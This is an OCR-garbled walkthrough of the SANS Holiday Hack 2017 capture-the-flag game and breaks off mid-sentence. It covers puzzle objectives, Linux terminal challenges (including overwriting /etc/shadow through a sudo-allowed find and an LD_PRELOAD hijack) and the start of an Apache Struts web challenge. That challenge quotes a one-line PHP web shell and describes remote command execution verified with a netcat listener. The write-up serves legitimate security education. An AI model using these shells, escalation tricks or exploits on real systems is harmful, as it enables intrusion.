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winter Wownber Lanblns

whinrer WownbeERr Lanblus

Guide the snowball over the page from The Great Book before
hitting the exit.
100 points

Use the snowball to clear the green pipe off the helipad.
100 points

Guide the snowball over all waypoints in a single run.
50 points per waypoint

End the run by hitting the exit (marked in yellow).
25 points

Hit the level exit with time to spare.

One point per every remaining half-second.

Use fewer than 10 tools in your solution.
15 points for each tool spared under 10.
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CRYBKINETIC MAGIC

CRYOBKINETIC MAoiC

Guide the snowball over all three waypoints without destroying
the ice fishing hut.
100 points

Guide the snowball over all waypoints in a single run.
50 points per waypoint

End the run by hitting the exit (marked in yellow).
25 points

Hit the level exit with time to spare.
One point per every remaining half-second.

Use fewer than 10 tools in your solution.
15 points for each tool spared under 10.
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THERE'S SNOW PLACE LIKE HOME

THERE's SNOW PLACE LIKE
HomMEe

Marshall three snowballs across the bridge and out of the town.
100 points

Guide the snowball over all waypoints in a single run.
50 points per waypoint

End the run by hitting the exit (marked in yellow).
25 points

Hit the level exit with time to spare.
One point per every remaining half-second.

Use fewer than 10 tools in your solution.
15 points for each tool spared under 10.

4
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WINCONCEIVABLE: THE CLIFFS OF WIN-
SANITY

WINCONCEIVABLE: THE
CLIFFS OF WINSANITY

Push the red button on the side of the lift house while the crate is
on the lift.
150 points

Push the crate into the lift.
50 points

Push the red button on the side of the lift house.
50 points

Guide the snowball over all waypoints in a single run.
50 points per waypoint

End the run by hitting the exit (marked in yellow).
25 points

Hit the level exit with time to spare.
One point per every remaining half~second.

Use fewer than 10 tools in your solution.
15 points for each fool spared under 10.
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BUMBLES BOVNCE

BUMBLES BOVNCE

Guide the snowball over the page from The Great Book before
hitting the exit.
100 points

Hit the exit without losing a single gift.
100 points

Guide the snowball over all waypoints in a single run.
50 points per waypoint

End the run by hitting the exit (marked in yellow).
25 points

Hit the level exit with time to spare.

One point per every remaining half-second.

Use fewer than 10 tools in your solution.
15 points for each tool spared under 10.
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I DON'T THINK WE'RE (N KANSAS
ANYMORE

I Dow't THinKk WERE T
KANSAS BNYMORE

There's a storm rolling in... better find shelter.
200 points

Guide the snowball over all waypoints in a single run.
50 points per waypoint

End the run by hitting the exit (marked in yellow).
25 points

Hit the level exit with time to spare.
One point per every remaining half-second.

Use fewer than 10 tools in your solution.
15 points for each tool spared under 10.
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OH WAIT! MAYBE WE ARE...

OoH WnlT! MaAyBeE WE
ARE...

STRIKE! Knock down all 10 pins in one run.
100 points

Guide the snowball over all waypoints in a single run.
50 points per waypoint

End the run by hitting the exit (marked in yellow).
25 points

Get points commensurate with the speed of the first contact with
a pin.
One point per one mystical, unknown unit of video game speed

Hit the level exit with time to spare.
One point per every remaining half-second.

Use fewer than 10 tools in your solution.
15 points for each tool spared under 10.
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WE'RE OFF TO SEE TME...

WE'Re OFF To See THE...

Unseat the villian.
250 points

Guide the snowball over all waypoints in a single run.
50 points per waypoint

End the run by hitting the exit (marked in yellow).

25 points

Hit the level exit with time to spare.
One point per every remaining half-second.

Use fewer than 10 tools in your solution.
15 points for each tool spared under 10.

villain

cranberry pi
terminal

Waypoinis

)¢
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My name is Bushy Evergreen, and I have a problem for you.
I think a server got owned, and I can only offer a clue.
We use the system for chat, to keep toy production running.
Can you help us recover from the server connection shunning?

Find and run the elftalkd binary to complete this challenge.

1 LOAT e QLD AADT - |

Bushy evergreen is in a predicament. The program that they use for chat has been closed
and he needs help restarting it. Unfortunately, he doesn’t know where the binary is locat-
ed. Let’s give him a hand.

The find command is usually used to search for binaries on the system. Unfortunately it
doesn’t seem to work, giving us a “cannot execute binary file: Exec format error”. Ex-
amining the binary with the file command, we can see that it’s built for the ARM archi-
tecture while our sytstem is AMDG64. To run this binary we’ll need a way to emulate the
architecture that the binary is built for. However, tools for that purpose do not exist on
this machine.

el f@5b674678190:~% find / -name elftalkd

bash: /usr/local/bin/find: cannot execute binary file: Exec format error

o1 f@5b674678190:~% which find

/usr/local/bin/find

o] f@5b674678F190:~$ file fusr/local/bin/find

/usr/local/bin/find: ELF 64-bit LSB shared object, ARM aarch64, version 1 (5YSV), dynamically linked, interpre
er /lib/1d-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[shal]-6ebeelb65b978900b54852a2d1e698911064ab3, s
ripped

el f@5b674678190:~§ uname -a

Linux 5b674678f190 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86 64 x86 64 x86 64 GNU/Linux
-1f@5b6?46?8f199:~$|

Instead, we can use the “Is” command with the -r switch to recursively list all the files on
the system, and use the “grep” command to filter all the output by a search string.

e1f@5b6746781190:~% 1s -R / 2>/dev/null | grep elftalkd -Bl
/run/elftalk/bin:

e1f@5b674678F190:~%

note that the “-B” switch of grep will return n lines BEFORE the located string. In this
way it will include the directory where the file was found (provided by Is).

TeRMINAL CHALLENGE - WINTER WONDER LANDING



We run the binary by providing the full path of the executable.

el f@5b674678F190:~% /runfelftalk/bin/elftalkd
Running in interactive mode

—-== Initializing elftalkd =—--
Initializing Messaging System!
ice-0-Meter configured to ©.90 sensitivity.
Acquiring messages from local networks...

--== Initialization Complete ==

-*> elftalkd! <*-

ersion 9000.1 (Build 31337)

By Santa Claus & The E1f Team

opyright (C) 2817 NotActuallyCopyrighted. No actual rights reserved.
1libct version 2.23-8ubuntud

ommencing E1f Talk Daemon (pid=6821)... done!
Background daemon. ..

elf@5b674678F190: ~%

Success!
For completing this task, we are rewarded with the Conveyer tool to help us with the
snowball challenges.

22
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CRYOKINETIC MAGIC

My name is Holly Evergreen, and I have a conundrum.

I broke the candy cane striper, and I'm near throwing a tantrum.

Assembly lines have stopped since the elwves can't get their candy cane fix.
We hope you can start the striper once again, with your wvast bag of tricks.

Run the CandyCaneStriper executable to complete this challenge.
elf@2e6f4511485c: ~%

Holly Evergreen is in need of assistance. The candy cane striper process has stopped and
we are tasked with getting it up and running again.

Running the CandyCaneStriper binary results in a permission denied error. Listing the
permissions of the file, we see that the execution bits are set to off, and the binary is
owned by the user and group, root.

Looking at our own user and group memberships, we see that we belong to the elf group.
Additionally, examing the “chmod” binary, we see that it is an empty file

:~$ file ./CandyCane3triper
riper: ELF &4-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /libé
6-64.50.2, for GNU/Linu 6.32, BuildiD[shal]=bfe4ffdBAf30e6570febTe3341ddbe575e5ab4b3, stripped
: ndyCaneStriper
nedtriper: Permission denied
3:~5 1s -1
total 48
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCane3triper

elffa5e3 Ta3:~$ whoami && groups

We’ll need a way to execute this binary without changing the permission bits.

23
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Looking at the output of the previous file command, we see that the binary is dynamically
linked with the interpreter at /1ib64/1d-linux-x86-64.s0.2

This means that when this binary is (normally) run, the kernel passes control to 1d-li-
nux-x86-64.s0.2 which loads the shared libraries that the program needs to function. After
that, 1d-linux-x86-64.s0.2 then passes control over to the application.

1d-linux-x86-64.s0.2 is an executable, and looking at it’s man page' (man 8 1d-linux.so),
we can see that this file can accept a program as an argument.

elf@cfad53574a%7:~$ 1s -1 /1ibf4/1d-linux-x86-64.50.2

lrwxrwxrwx 1 root root 32 Jun 16 2017 /

elf@cfad53574a%7:~5

NAME

ld.so, ld-linux.so* — dynamic linker/loader

SYNOPSIS

The dynamic linker can be run either indirectly by running some dynamically linked program or library
{in which case no command-line options to the dynamic linker can be passed and, in the ELF case, the
dynamic linksr which is stored in the .interp section of the program is exscuted) or diresctly by

Y E Yy by

running:

/1ib/ld-linux.so.* [OPTIONS] [PROGRAM [ARGUMENTS]]

DESCRIPTION

H

he programs ld.sc and ld-linux.so* find and load the shared libraries needed by a program, prepare
he

program to run, and then run it.

ot

We supply our binary, CandyCaneStriper to Id-linux-x86-64.s0.2 as an argument and...

elf@cfad53574a537:~8 /lib64/1d-linux-xB86-64.30.2 ./CandyCaneStriper

The CandyCaneStriper is run!
For completing this task, we are rewarded with the Thermite tool to help us with the
snowball challenges

! https://www.systutorials.com/docs/linux/man/8-1d-linux.so/

rA o
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THERE'S SNOW PLACE LIKE HOME

My name is Pepper Minstix, and I need your help with my plight.

I've crashed the Christmas toy train, for which I am quite contrite.

I should not have interfered, hacking it was foolish in hindsight.

If you can get it running again, I will reward you with a gift of delight.

total 444
-rwxr-xr-x 1 root root 454636 Dec 7 18:43
21f@928fed50b694: ~§ |

Pepper Minstix needs help running his trainstartup binary

Attempting to run the file gives us an error: “cannot execute bniary file: Exec format
error”’. Running the “file” command, we see that it’s built for the ARM architecture, while
our host is amd64. To be able to run this binary, we need a way to emulate it’s environ-
ment.

:~$ ./trainstartup
tup: cannot cute binary file: Exec format error
71f:~$ file ./trainstartup
./trainstartup: ELF 32-bit LSB executable, ARM, ELBIS version 1 (GNU/Linux), statically linked, for GNU/Linux
3.2.0, BuildID[shal]=005de4685e8563d10b3de3elbeTdéfddTedT732eb, not stripped
elf@ffal3e $ uname -a
71f 4.9.0-4-amdé4 $1 8MP Debian 4.9.65-3 (2017-12-03) xBE 64 xB6 64 xB6 64 GNU/Linux

Fortunately, on this host, gemu is available. Qemu is the “Quick EMUIator” designed to
perform hardware virtualization which is exactly what we need. Looking at the available
gemu binaries, we see that we have available to us multiple architectures that we can
emulate. To help out Pepper, we’ll need to run the binary in an ARM environment. the
gemu-arm binary should help us with just that.

elf@Be1d20a4960£: ~§ qemu—‘
6 : j gemu-microblazesl gemu-mipsel 2 gemu-shéd fEmu-spe
gemu-mips qemu-mipsnd2 3 gemu-shéeb emu-Unicor:

el

gemu-arm ; b gemu-mips6d qemu-mipsniZel 3 2bid2  gemu-s qemu-xB86_64

gemu-armeb ) croblaze  gemu-mipsédel gemu-ord2 : Ox gemu-spe

2s
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You did it! Thank you!

elf@80566e386a65:~$

Hurray!

| e e |
S -

| S

s e

For completing this task, we are rewarded with the Jam tool to help us with the snowball

challenges
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WINCONCEIVABLE: THE CLIFFS OF
WINSANITY

My name is Sparkle Redberry, and I need your help.
My server is atwist, and I fear I may yelp.

Help me kill the troublesome process gone awry.

I will return the favor with a gift before nigh.

Kill the "santaslittlehelperd”™ process to complete this challenge.
elf@cb@4d612edff:~% |

Sparkle Redberry has come to us with a problem. The santaslittlehelperd process has gone
awry and he is unable to stop the process. Let’s see what we can do

We get a list of all the process with the “ps” command and note the process ID (or PID) of
the rogue process. We then use the “kill” command and supply it the process ID and the
process should stop.

el f@bcaeldl5fd9af:~% ps aux | grep santaslittlehelperd -z
PID XCPU XMEM V5L R55 TTY STAT START COMMAND
1 e 18028 2828 pts/@ ss 23:10 - /bin/bash fsbin/init
a8 e A224 664 pts/e s 23:10 : JSusr/bin/
11 o. 13528 6384 pts/O s 23:10 : /sbin/kworker
12 e. 183248 3238 pts/0 5 23:10 z /bin/bash
18 2 71468 26516 pts/e s 23:-1© = fsbin/kworker
754 = . 34424 2812 pts/0 R+ 23:21 = pPs aux
= 755 = a. 18248 488 pts/0 R+ 23:21 = fbin/bash
elf@bcaedl5Fd9af:~% kill &
elf@bcaedl5fd9af:~% ps aux | grep santaslittlehelperd -z
PID XCPU XMEM VsSL RSS TTY STAT START COMMAND

oORCOOO

1 = = 18028 2828 pts/0 Ss 23:10@ = fbin/bash /sbin/init
8 =] 4224 664 pts/O s 23:10 : fusr/bin/

11 -8 = 13528 6334 pts/@ 23:10 fsbin/kworker

12 -8 s 18248 3288 pts/0 23:18 = fbin/bash

i8 1 71468 26516 pts/0 23:10@ = fsbin/kworker

F73 a 34424 29009 pts/e 23:21 = ps aux

Fra -2 11284 972 ptsjfe 23:21 = grep --color=auto

elf@bcaedl5Ffd9af:~%

However, the kill command does not seem to have any effect. Examining the “kill” binary
with the “file” command does not work as “file” is not installed on the system.

1f@bcaed15fd9af:~% which kill
/bin/kill
1f@bcaed15fd9af:~% file /bin/kill

bash: file: command not found
1f@bcaed15fd9af:~$ |

2?
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The “alias” command can be used to show if an alias is being used to bind commands to
user-defined names. Running the alias command shows us what the problem is. All our
kill commands have been aliased to “True”, which does nothing.

The alias is removed with the unalias command and kill is run again.

This time, the process no longer shows up in the process listing. Mission Accomplished!

elf@bcaed15fd9af:~$ alias
alias alert='"notify-send --urgency=low -i "$([ $2> = @ ] & echo terminal || echo error)” "$(history
"\ Us/M\s*[@-9]\+\s*//;s/[ ;&] |\s*alertd// )"
egrep="egrep --color=auto’
fgrep="fgrep --color=auto’
grep="grep --color=auto’
kill="true"
killall="true’

1="1s -CF’

la="1s -A’

11="1s -alF*

1s="15 --color=auto”

pkill="true"

skill="true"
e1f@bcaed15fd9af:~$ |

For completing this task, we are rewarded with the Candycane tool to help us with the
snowball challenges.

rdg
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BUMBLES BOVNCE
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Minty Candycane here, I need your help straight away.

We're having an argument about browser popularity stray.

Use the supplied log file from our server in the North Pole.
Identifying the least-popular browser is your noteworthy goal.

total 28704

-rw-r--r-- 1 root root 24191488 Dec 4 17:11 access.log
-rwxr-xr-x 1 root root 5197336 Dec 11 17:31
e1f@4558db21e@cO:~$ |

Minty Candycane has a task for us. We need to find the least popular browser from a web

server log. The file is very large with over 98,000 entries. Fortunately with the tools avail-
able to us, the task should be doable.

First we’ll need to understand how the file is laid out. we run the “head” command and
look at the first few lines of the logs.

:12 -0500] "GET / HIIE/1.1"
08 -0500] "GET /img &p
B ager/ntnl HITE/1.1°

HITE/1.1"
g HITR/L.1"
X11; Linux x86_64;

To identify the least-popular browser, we’ll want to examine the contents of the user-agent
field in the logs, the last entry per line. Looking at this, we can see that all the user-agents
are enclosed in quotes (“). With this information we can split each line of the file using the

“cut” command and use quotes () as our delimter. This will result each line being cut into
6 separate fields with the user agent being the 6th.

ess.log | cut -d '"" -f &
ompatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, helpfmoz.com)
mpatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, helpfmoz.com)
(+https://api.slack.com/robots)

mpatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, helpfmoz.com)
(+https://api.slack.com/robots)

compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
Mozilla/5.0 (X11; Linux xB6 64; rv:50.0) Gecko/20100101 Firefox/50.0
3lack-ImgProxy (+https://api.slack.com/robots)
sla : 2 (motorola Moto G (4); Android
Mozilla/5.0 (X11; Linux %86 64; rv:57.0) Gecko/Z2

7.0)
0100101 Firefox/57.0

TERMINAL CHALLENGE - BUMBLES BOVNCE



Looking at our output, we see that there are duplicates. To fix this, we can pipe the out-
put of our previous command to the “sort” and “uniq” commands to sort the output and
remove duplicate strings. Supplying the -c (count) switch to uniq will prefix each result
with a number, indicating how many times it appears in the output.

elffbcfe£5965532:~ : o cut -d """ -f & | sort
Mozilla/5.0 (¥11; Linux xB86 64; rv:50.0 :cko/20100101 Firefox/50.0
Mozilla/5.0 (X11; Linux x8 ;OIS 0100101 Firefox/57.0
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, helpfmo
Mozilla/5. mpatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.c
Mozilla/5.0 mpatible; M3IE 10.0; Windows NT 6.2; WOWe4; Trident/6.0)
(+https://api.slack.com/robots)
(+https://api.sl m/robots)
(+https://api.sl om/robots)
? (motorola Moto (4); Android 7.0)
$ head as.log | cut -d """ -f 6 | sort | uniqg -c
Mozilla/5.0 (¥X11; Linux xB86 64; rv:50.0) Gecko/20100101 Firefox/50.0
Mozilla/5.0 (X11; Linux x86 64; rv:57.0) 0/20100101 Firefox/57.0
3 Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOWG4; Trident/6.0)
3 8lack-ImgProxy (+https://api.slack.com/robots)
2.47.0.7352 (motorola Moto (4) ; Android 7.0)

The resulting output can be further piped into the sort command, this time, supplying the
-n switch to sort the output numerically from least to most. Lastly, everything is piped into
the head command to only return the first 10 entries. The entry we want will be the very
first entry in the output, Dillo.

.log | cut -d """ -£ & | sort | unig -c | sort -n | head
1 Dillo/3.0.
1 Mozilla/5.0 (Macintosh; Intel Mac 05 X 10 10 3) AppleWebRit/337.36 (RHTML, like Gecko) Chrome/42.0.2311.90 Safari/337.36
1 Mozilla/5.0 (Macintosh; Intel Mac 05 X 10 13 1) AppleWebRit/604.3.5 (RHIML, like G
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (EHIML, like Gecko) Chrome/21.0.1180.89 Safar1/537.1
1 Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
1 Mozilla/5.0 (X11; Linux 64; rv:50.0) Gec 0101 Firefox/50.0
1 Mozilla/5.0 (X11; OpenBSD amdé4) AppleWebit/5 ome/51.0.2704.106 Safari/537.3
1 Mozilla/5.0 (X11; Ubuntu; Linux 4; v Ge 00101 Fire 2.0
1 Mozilla/5.0 (compatible; MSIE 1 Windows NT 6. )
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; MASMJS)
elf@bcfe99633

elf@bcfef9965552:~5 . /runtoanswer

Starting up, ple wait......

Enter the name of the least popular browser in the web log: Dillo

That is the least common browser in the web log! Congratulations!

For completing this task, we are rewarded with the Bumper tool to help us with the snow-
ball challenges
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I DON'T THMINK WE'RE IN KANSAS
ANYMORE

Sugarplum Mary is in a tizzy, we hope you can assist.
Christmas songs abound, with many likes in our midst.
The database is populated, ready for you to address.
Identify the song whose popularity is the best.

total 20684

~rw-r--r-- 1 root root 15982592 Nov 29 19:28 christmassongs.db
~rwxr-xr-x 1 root root 5197352 Dec 7 15:1@
elf@7a3af2dcASdl:~%

Sugarplum Mary is looking for some help finding the most popular christmas song in a
database.

We can use the sqlite3 command to open the db file. With the schema command, we see
that we have 2 tables, songs and likes. The column names are displayed as well. With this
information we can begin to construct SQL statements to query the database.

=1f@5a80a80
SQLit

sglite> .=chema
CREATE TABLE songs|(
id INTEGER PRIMARY EEY AUTOINCREMENT,
title TEXT,
artist TEXT,
year TEXT,

notes TEXT

CREATE TAEBLE likes(
id INTEGER PRIMARY EEY AUTOINCREMENT,
like TINTEGER,
datetims INTEGER,
songid INTEGER,
FOREIGN EKEY (songid) REFERENCES songs (id)
1A

Each row in the likes table corresponds to 1 like. To be able to count how many likes a
song has, we need to group the contents of the likes table and count how many likes each
song-id has. The output then needs to be ordered least to greatest.

This can be done with the statement:

select count(*), songid from likes group by songid order by count limit 10;

aglite> =elect count(*), songid from likes group by songid order by count(*) dese limit 1
11325(392

3)
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We can see that the song with songid 392 has 11,325 likes. We query the database once
more, this time looking in the songs table to find the song with songid 392.

sglite> select id, title from songs where id = 332;

392|3tairway to Heaven

Alternatively, we can condense the statements into a single query by joining the 2 data-
bases together and selecting the output that we want. The query will go something like
this:

SELECT count(*), likes.songid, songs.title FROM likes

LEFT JOIN songs

ON songs.id = likes.songid

GROUP BY songid

ORDER BY count(*) DESC

LIMIT 10;

select count(*), likes.songid, songs.title from likes

..>» left join songs

..> on songs.id = likes.songid

..> group by songid

..> order by count(*) desc

> limit 10;

11325|392|Stairway to Heaven
2162|245|Joy to the World
2140]265|The Little Boy that Santa Claus Forgot
2132|207|1 Farted on 3anta's Lap (Now Christmas Is Gonna Stink for Me)
2129|98|Christmas Memories

2126|590 |Christmas Is Now Drawing Near at Hand
2122|33|Blue Holiday

2120|130|Cold December Night

2117|18|A Baby Changes Everything

2117|446|Why Couldn't It Be Christmas Every Day?

In any case, we were able to find the most popular song for Sugarplum Mary, “Stairway
to Heaven”

For completing this task, we are rewarded with the Portal tool to help us with the snow-
ball challenges.
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OH WAIT MAYBE WE ARE...

[_fof_[_f@/_/_fof_[8[_\

jes [

My name is Shinny Upatree, and I've made a big mistake.

I fear it's worse than the time I served everyone bad hake.

I've deleted an important file, which suppressed my server access.
I can offer you a gift, if you can fix my ill-fated redress.

Restore fetc/shadow with the contents of /etc/shadow.bak, then run "inspect da box™ to complete this challenge

Hint: What commands can you run with sudo?
elf@f28d72531622:~%

Shinny Upatree needs help restoring the /etc/shadow file from backup.

Looking at th permissions of the /etc/shadow file, we can see that it’s owned by the user
root and group shadow. To be able to make any modifications to this file, we need to ele-
vate our permissions somehow to that user or group.

Using the provided hint we run the “sudo” command with the -1 switch. This will list all
the commands that the current user can run (under which user/group)

elf@c075b57351e8:~5 sudo -1
Matching Defaults entries for elf o
env reset, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/

User elf may run the following commands on c075b57351e8:
{elf : shadow) NOPASSWD: /usr/bin/find

In the above output, we can see that our user is able to run the “sudo” command on the /
ust/bin/find binary as part of the shadow group without being prompted for a password.
We can try this out by running the command

sudo -g(group) shadow /usr/bin/find

The command is succesful and we are able to run the find command as the shadow group.

elf@c075b57351e8:~5 sudo —g shadow fusr/bin/find

.{ .bashrc

./ .bash_logout

.{ .profile
hlf@EDTEhETEEIEE:M$
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But how does this help us?

Well, if we are able to somehow make an operation on the /etc/shadow file using the
“find” command, while it’s executed under the shadow group, the changes will be accept-
ed because of the file’s ownership. Luckily, “find” has an option to do just that.

With the -exec switch, “find” will execute the supplied command on each result that it
matches on. In this case we can find /etc/shadow, and execute a copy operation to over-
write /etc/shadow with /etc/shadow.bak. The command will look something like this:

find /etc/shadow -exec cp /etc/shadow.bak {} \; (the {} will be replaced with the results of
the find command)

shadow fusr/bin/find fetc/shadow —ex v fetc/shadow.bak {} \;

Running the command produces no errors - a good sign.
Finally we look for the inspect da box binary and run it.

elf@c075b57351e8:~8 find / -name inspect da box
fusr/local/binfinspect da box
find: '/var/cache/ldconfig®': Permission denied
find: : efapt/archives/partial": Permission denied
/apt/lists/partial': Permission denied
*/proc/tty/driver': Permission denied

]

'/etc/s=sl/private': Permission denied
'/root': Permission denied

:075b57351e8: ~$ fusr/local/bin/inspect da box

We were able to restore /etc/shadow!

3¢
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WE'RE OFF TO SEE TME...

Wunorse Openslae has a special challenge for you.

Run the given bimary, make it return 42.
Use the partial source for hints, it is just a clue.
You will need to write your own code, but only a line or two.

total 88

-rwxr-xr-x 1 root root 84824 Dec 16 16:56

-rw-r--r-- 1 root root 654 Dec 16 16:56 isitd2.c.un
21f@5b9149473e69 : ~%

A challenge from Wunorse Openslae! We are tasked with making the given binary return
42. We are also provided the partial source code as a hint and are told that we’ll have to
write a line or two of code. Let’s begin.

Looking at the source code of the binary, we can see that the main function calls getrand()
and stores the value in the variable, randnum. The value of randnum is then compared to
42.

CODE HAS BEEN LOST
FORTUNATELY, YOU DON'T NEED IT FOR THIS CHALLENGE
MAFRFE THE isit42 BINARY RETURN 42
// YOU'LL NEED TO WRITE A SEPERATE C SOURCE TO WIN EVERY TIME

int getrand({) {
srand( ( igned int)time (NULL));
printf ( lling rand({) teo sel a random number.\n");
// The prototype for rand is: t rand(void);
return rand() % 4096; // returns a pseudo-random integer between 0 a

int main() |
=zleep(3);
int randmum getrand() ;

if (randnum
printf ("Yay!\n");

el=se [
printf ("Boo!\n");

To complete this challenge, we’ll need to somehow hijack the execution of the binary. To
do this, We’ll use the article' that Holly Evergreen sent to @PepperyGoodness via twitter.

! https://pen-testing.sans.org/blog/2017/12/06/go-to-the-head-of-the-class-1d-preload-for-the-win
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From the source code we know that the isit42 binary is calling the rand() function from
somewhere (presumably, a shared library). If we can create our own library with our own
version of rand (that always returns 42) and somehow force the Linux loader to load that
first, we may be able to get the isit42 binary to return 42. Every time.

Fortunately, there is a feature just for that. By setting the LD PRELOAD environment
variable, we are telling the linux loader to load the the shared object in LD PRELOAD
first, before all other shared libraries.

First we’ll create our own version of rand, making sure to match the function prototype of
our function with the original (rand(void))

When this function is elf@b3acTetfafeb:~5 cat always4Z.c
run, it will always return  pRst=Neh i ikt R

42. return 42;
1
1

Next we use gcc (GNU C Compiler) with the following flags:

-shared - Tells GCC to create a shared object

-fPIC - Creates Position Independent Code (code that can be executed regardless of where
it’s located in memory, needed for Shared libraries)

-0 always42 - The name of the output file

With our shared library in place, all we’ll need to do is set the LD PRELOAD environ-
ment variable to the path to our newly created file, and run isit42

2.c —shared —fPIC -o always42

VIO O () IN
N oot/

ANEES =1/ \
I (142 | O | pAl) |

And with that, all the Terminal Challenges are complete!
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THE GREAT BOOK, PAGE )

) VISIT THE NorTH POLE AND BEYOND AT THE WINTER WONDER LANDING LEVEL TO
COLLECT THE FIRST PAGE OF THE GREAT BOOK VSING A GIANT SNOWBALL. WHAT IS THE
TITLE OF THAT PAGE?

The title of the page is “About this Book”

3¢
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The great book page can be obtained by completing objective # 1 in the Winter Wonder
Landing level. Once that is accomplished, the first page of the Great Book titled “About
this Book™, is added to our stocking.
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LETTERS TO SANTA

2) INVESTIGATE THE LETTERS TO SANTA APPLICATION AT HTTPS://L2S.NORTHPOLECHRIST-
MASTOWN.COM. WHAT IS THE TOPIC OF THE GREAT BOOK PAGE AVAILABLE (N THE WEB
ROOT OF THE SERVER? WHAT IS ALABASTER SNOWBALL'S PASSWORD?

The topic of the Great Book page avaialble in the web root is about the story of how the
scientists of OZ created the flying monkeys, Moonracer, and Santa’s flying reindeer (and
the reason behind Rudolph’s red nose).

Alabaster Snowball’s password is: stream_unhappy_buy_loss

AVAILABLE MHINTS

Ll Hint 2

) . . Near the end of the development we had to rush a few things to
We're excited to debut the new Letters to Santa site this year. P . 9
get the new site moved to production. Some development

A\abastler worked hard on that ijec‘ for oyer ayear. I.gol to content on the letter page should probably have been removed,
work with the development version of the site early on in the but ended up marked as hidden to avoid added change control
project lifecycle. paperwork.

Sparkie Reabery Sparkle Redberry
Hint 3 .
Hint 4
Alabaster's primary backend experience is with Apache Struts.
I love Apache and have a local instance set up on my home A simple web shell is to create a PHP file in the web root with
computer with a web shell. Web shells a_re great as a backdoor <?php echo "<pre>” . shell exec($ _GET['e']) . "</pre>";
for me to access my system remotely. | just choose a really . )
long complex file name so that no one else knows how to ?>. Then, | visit the URL with my commands. For example,

access it. http.#/server/complexFileName.php 7e=Is.

Sparkle Redberry
Hint 1

Sparkle Redberry Sparkle Redberry
. Hint 6
Hint 5

That business with Equal-Facts Inc was really unfortunate. | i
understand there are a lot of different exploits available for

There are lots of different web shell tools available. You can get those vulnerable systems. Fortunately, Alabaster said he testec

a Simp\e PHP web shell that is easy to use here for CVE-2017-5638 and it was NOT vulnerable. Hope he
’ checked the others too.

‘Sparkle Redberry Sparkle Redberry
Hint 7 Hint 8

Apache Struts uses XML. | always had problems making Pro d | tip: S i d ' hard d denti
proper XML formatting because of special characters. | either ro developer tip: Somelimes developers hard code credentia

had to encode my data or escape the characters properly so into their development files. Never do this, or at least make
the XML wouldn't break. | actually just checked and there are sure you take them out before publishing them or putting them
lots of different exploits out there for vulnerable systems. Here into production. You also should avoid reusing credentials for
is a useful article. different services, even on the same system.

v
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To begin, enumeration is done on the Letters to Santa web application found at 12s.north-
polechristmastown.com. Sparkle redberry’s hint (#2) mentions some development content

that’s left behind on the site.
B

Near the end of the development we had to rush a few things to
get the new site moved to production. Some development

content on the letter page should probably have been removed,
but ended up marked as hidden to avoid added change control
paperwork.

WEEB APP

My NOE FirstName AND T aM a4

I AM CURRENTLY gk " YEARS OLD AND I LIVE IN

WOULD REALLY LIKE A Desired Toy FOR CHRISTMASK

®Hs AND SANTAs I ALMOGT FORGOT TO GAY

> SEND LETTER TO SANTA

SOVRCE cobe We can find this by look-
ing at the source code.
At line 243, a link to the
development version is
found (http://dev.north-
polechristmastown.com).

ment vers.
http://dev.n:

v
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We browse to dev.northpolechristmastown.com and take a look around.

- Toy Request Form

Currently Under Development

Upon examination we find a toy
request form that didn’t quite
make it into the production ver-
sion of the site

D Child Name Desired Toy Actions

NEW TOY REQUEST

Powered By: Apache Struts

SOURCE CcODE '
We view the source code and

find a few interesting comments
(regarding Equal-Facts.) and the
framework that the site is built on,
Apache Struts.

EAQvAL FACTS?

EQUAL FACTS WAS A COMPANY
THAT HAD IT'S DATA COMPRO—

MISED WITH AN APACHE STRUTS
VULNERABILITY (HNT #3)

aoter”><p ¢ nter-it">Ponered By: <a ttps://struts.apache.org/">Apache Struts</a></px</div>
d over at Equal-facts Inc recommended this framework-->

‘e

GUEﬁ'ﬂW AND ANSWERS — LETTERS TO SANTA



Looking at Sparkle’s hint # 6, we are informed that Alabaster did some testing against an
apache struts exploit, CVE-2017-5638 and found that it wasn’t vulnerable. He also alludes
to some other vulnerabilities that Apache Struts may be vulnerable to. In hint #7, He talks
about the structure of Apache struts and the difficulty of properly formatting XML because
of special characters. And most importantly, he links to a useful article! detailing another
apache struts exploit using xml

Sparkle Redberry Sparkle Redberry
Hint 6 Hint 7

That business with Equal-Facts Inc was really unfortunate. | Apache Struts uses‘XML. | always had Prob\ems makmgl
understand there are a lot of different exploits available for rpr(:jp:sr XMLdformat;mtg because Dfxipecr']a‘ Chtaracters. : ?'mer
those vulnerable systems. Fortunately, Alabaster said he tested 1ad o eneocs m.y e e e PRy =
for CVE-2017.5638 and | NOT Ul ble. H h the XML wouldn't break. | actually just checked and there are
or - - and it was vulnerable. Hope he lots of different exploits out there for vulnerable systems. Here
checked the others too. is a useful article.

We use the exploit in the linked
article (CVE 2017-9805) to see if
we can achieve remote command
execution on the target system.
Observing how the exploit works,
it looks like the command is suc-
cessfully sent. However, we are
unable to verify if the command
actually worked.

To verify, we can set up a netcat
listener on our box, and send a
command to the vulnerable server,
piping its output into netcat, and
sending it to our listener

We get the output back succesfuly and can confirm that we have remote code execution.
At this point, we there are multiple ways to retrieve the page of The Great Book in the web
root directory. In this walkthrough, we will be using a web shell (mentioned in Sparkle’s
hint) to grab the file.

Sparkle, in hint # 3 mentions the
use of a webshell to access his
system remotely. We will be using
the same concept. A simple PHP
web shell is downloaded from the
